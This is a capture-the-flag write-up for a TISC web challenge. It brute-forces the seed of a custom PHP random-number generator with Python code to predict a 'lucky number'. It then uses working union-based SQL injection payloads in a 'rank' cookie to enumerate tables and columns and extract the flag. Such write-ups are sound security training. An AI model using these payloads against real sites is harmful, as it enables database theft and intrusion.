# Level 6A: The chosen ones (Web)

This level is a pretty standard web challenge.

We are presented with a webpage with a form that requires us to enter a number. Upon entering a number the webpage tells us what the expected number should have been. It seems that we need to find a way to predict the lucky number.

The challenge webpage contains a Base32 string in a HTML comment that decodes to the following PHP code (beautified):

```
function random(){
$prev = $_SESSION["seed"];
$current = (int)$prev ^ 844742906;
$current = decbin($current);
while(strlen($current)<32) {
$current = "0".$current;
}
$first = substr($current,0,7);
$second = substr($current,7,25);
$current = $second.$first;
$current = bindec($current);
$_SESSION["seed"] = $current;
return $current%1000000;
}
```

Here's a Python implementation:

```
def random(seed):
while True:
cur = seed ^ 844742906
cur = bin(cur)[2:].zfill(32)
first = cur[:7]
second = cur[7:]
cur = int(second + first, 2)
seed = cur
yield cur % 1000000
```

We know that the seed is a 32 bit integer (maximum value around a few billion) and we know the lower 6 digits of the state (out of 10). Therefore, we only need to bruteforce the other 4 digits to recover the original seed.

First, let's collect a few consecutive lucky numbers so we can validate the recovered seed:

`627000, 710622, 371625`

Now, we can bruteforce the 10 digit numbers ending with '627000' and check if they produce the same sequence observed:

```
def recover(seq):
for i in range(pow(10,5)):
rnd = random(i*1000000 + seq[0])
if next(rnd) == seq[1] and next(rnd) == seq[2]:
return i*1000000 + seq[0]
```

Now we can predict the next lucky number:

```
>>> recover([627000, 710622, 371625])
261627000
>>> rnd = random(261627000)
>>> next(rnd)
710622
>>> next(rnd)
371625
>>> next(rnd)
597940
```

Entering '597940' allows us to access some kind of personnel list.

We also observe that the cookie `rank=0`

is set. If we modify `rank`

to a larger value, more results are returned. However, changing it to a non-numeric value results in an internal server error.

Setting it to the SQL injection payload `1 or 1=1`

results in all records being returned.

To enumerate tables within the database we use the payload

`-1 union select group_concat(table_name),null,null,null from information_schema.tables where table_schema=database()`

This reveals the existence of the `CTF_SECRET`

table.

Now to enumerate columns within that table:

`-1 union select group_concat(column_name),null,null,null from information_schema.columns where table_name = 'CTF_SECRET'`

This reveals the existence of the `flag`

column.

Now to finally retrieve the flag:

`-1 union select flag,null,null,null from CTF_SECRET`

The flag is `TISC{Y0u_4rE_7h3_CH0s3n_0nE}`

.